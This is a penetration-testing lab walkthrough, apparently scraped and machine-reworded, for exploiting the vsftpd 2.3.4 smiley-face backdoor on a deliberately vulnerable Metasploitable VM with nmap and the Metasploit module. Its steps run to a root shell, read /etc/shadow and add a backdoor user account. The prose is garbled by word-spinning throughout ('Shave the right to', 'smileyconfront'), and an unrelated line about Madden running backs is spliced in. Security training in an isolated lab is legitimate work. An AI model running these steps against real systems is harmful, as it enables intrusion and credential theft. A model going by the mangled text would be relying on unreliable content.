Section 0. Background Information
Metasploitable Metasploitable is an deliberately vulnerable Linux digital machine. This VM can be provided to conduct security training, test defense tools, and practice common penetration trial and error techniques.

You are watching: What version of vsftpd contained the smiley face backdoor

Pre-Requiwebsite LabWhat is VSFTPD?vsftpd, which stands for "Very Secure FTP Daemon",is an FTP server for Unix-prefer units, consisting of Linux. It is licensed under the GNU General Public License. It supports IPv6 and also SSL.In July 2011, it was found that vsftpd variation 2.3.4 downloadable from the master site had been compromised. Users logging right into a compromised vsftpd-2.3.4 server might issue a ":)" smileyconfront as the username and also gain a command shell on port 6200. This was not an problem of a security hole in vsftpd, rather, someone had uploaded a various variation of vsftpd which had a backdoor. Since then, the website was relocated to Google App Engine.exploit/unix/ftp/vsftpd_234_backdoorThis module exploits a malicious backdoor that was included to the VSFTPD downpack archive. This backdoor was presented right into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and also July first 2011 according to the the majority of recent information obtainable.Lab NotesIn this lab we will certainly carry out the following:Run an intense NMAP Scan on the Metasploitable VMSearch for VSFTPDExploit the VSFTPD Daemon and also achieve root.Legal DisclaimerAs a problem of your usage of this Web website, you warrant to 2175forals.com that you will not use this Web website for any purpose that is unlawful or that is prohibited by these terms, problems, and also notices.In accordance through UCC § 2-316, this product is gave through "no warranties, either express or implied." The information had is offered "as-is", with "no guarantee of merchantcapability."In addition, this is a teaching website that does not condone malicious behavior of any type of type.You are on notice, that proceeding and/or utilizing this lab outside your "own" test environmentis taken into consideration malicious and also is against the regulation.© 2013 No content replication of any kind of sort is allowed without expush written permission.

Section 1: Start Up the Metasploitable VM
Start Up VMWare PlayerInstructions: Click the Start Button Type Vmplayer in the search box Click on Vmplayer

Open a Virtual MachineInstructions:Click on Open a Virtual MachineOpen the Metasploitable VMInstructions:Navigate to where the Metasploitable VM is locatedClick on on the Metasploitable VMClick on the Open Button

*
Edit the Metasploitable VMInstructions:Select Metasploitable2-Linux VMClick Edit online machine settings
*
Edit the Metasploitable VMInstructions:Click on "Network-related Adapter NAT"Select the radio button "Bridged: Connected straight to the physical network"Click on the OK buttonWarning:By altering from NAT to Bridged opens up the VM and also network-related approximately potential attacks.To preserve a safe network-related, you might (1) skip this section and only usage the host-just network-related, (2) unplug your router from the internet, (3) use an ACL to not allow web traffic into your netoccupational, etc.
*
Play the Metasploitable VMInstructions:Click on the Metasploitable VMClick on Play virtual machine
*

Section 2: Determine Metasploitable IP Address
Logging right into MetasploitableInstructionsUsername: msfadminPassword: msfadmin or whatever you changed it to in lesson 1.
*

Determine Metasploitable IP AddressInstructions:ifconfig -aNote(FYI):This is the IP Address of the Victim Machine.My IP Address is 192.168.1.109.Record your IP Address.

*

Section 4: Start Up the BackTrack5R1 VM
Start Up VMWare PlayerInstructions: Click the Start Button Type Vmplayer in the search box Click on Vmplayer

Open a Virtual MachineInstructions:Click on Open a Virtual MachineOpen the BackTrack5R1 VMInstructions:Navigate to wright here the BackTrack5R1 VM is locatedClick on on the BackTrack5R1 VMClick on the Open Button

*
Edit the BackTrack5R1 VMInstructions:Select BackTrack5R1 VMClick Edit digital machine settings
*
Edit Virtual Machine SettingsInstructions: Click on Network-related Adapter Click on the Bridged Radio switch Click on the OK Button
*
Play the BackTrack5R1 VMInstructions:Click on the BackTrack5R1 VMClick on Play digital machine
*
Login to BackTrackInstructions: Login: root Password: toor or .
*
Bring up the GNOMEInstructions: Type startx
*
Start up a terminal windowInstructions: Click on the Terminal Window
*
Obtain the IP AddressInstructions: ifconfig -a Note(FYI): My IP deal with 192.168.1.111 In your instance, it will certainly probably be various. This is the machine that will certainly be use to strike the victim machine (Metasploitable).
*

Section 5: Scanning the Victim through NMAP
Run Intense NMAP Shave the right to on the Metasploitable VMNote(FYI): Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).This intense NMAP scan might take 3 to 5 minutes to run.Instructions: nmap -p 1-65535 -T4 -A -v192.168.1.109 2>&1 | tee /var/tmp/shave the right to.txt
*

Looking for vsftpInstructions: cd /var/tmpgrep -i vsftp shave the right to.txtNote(FYI): vsftpd runs on port 21.

*

Section 6: Exploit vsftpd 2.3.4
Start the Metasploit ConsoleInstructions: msfconsole
*

Use the VSFTPD v2.3.4 Backdoor Command Execution ExploitInstructions: search vsftpduse exploit/unix/ftp/vsftpd_234_backdoor

*
Set RHOST (Victim IP Address)Instructions: show optionscollection RHOST 192.168.1.109Note(FYI): Relocation 192.168.1.109 via the Metasploitable IP Address acquired from (Section 2, Tip 2).
*
ExploitInstructions: exploitNote(FYI): Now you must view a Command also Shell Session opened up between BackTrack to Metasploitable.

See more: Best Running Backs Madden 16 Ratings As Best Running Back, Top 5 Running Backs In Madden Nfl 16

*
Got Root?Instructions: whoamihostnamegrep root /etc/shadowNote(FYI): Congratulations you currently have actually root.
*
Section 7: Proof of Lab
Proof of Lab Instructions: whoamiuserinclude -m -d /home/student3 -c "Hacked VSFTPD" -s /bin/bash student3grep student3 /etc/passwddateecho "Your Name"Put in your actual name in location of "Your Name"e.g., echo "John Gray"Proof of Lab InstructionsPress the and key at the same time.Press the vital.Paste right into a word document Upload to Moodle
*
*
*
*
Assistance 2175forals.com pay for continued study, resources & bandwidth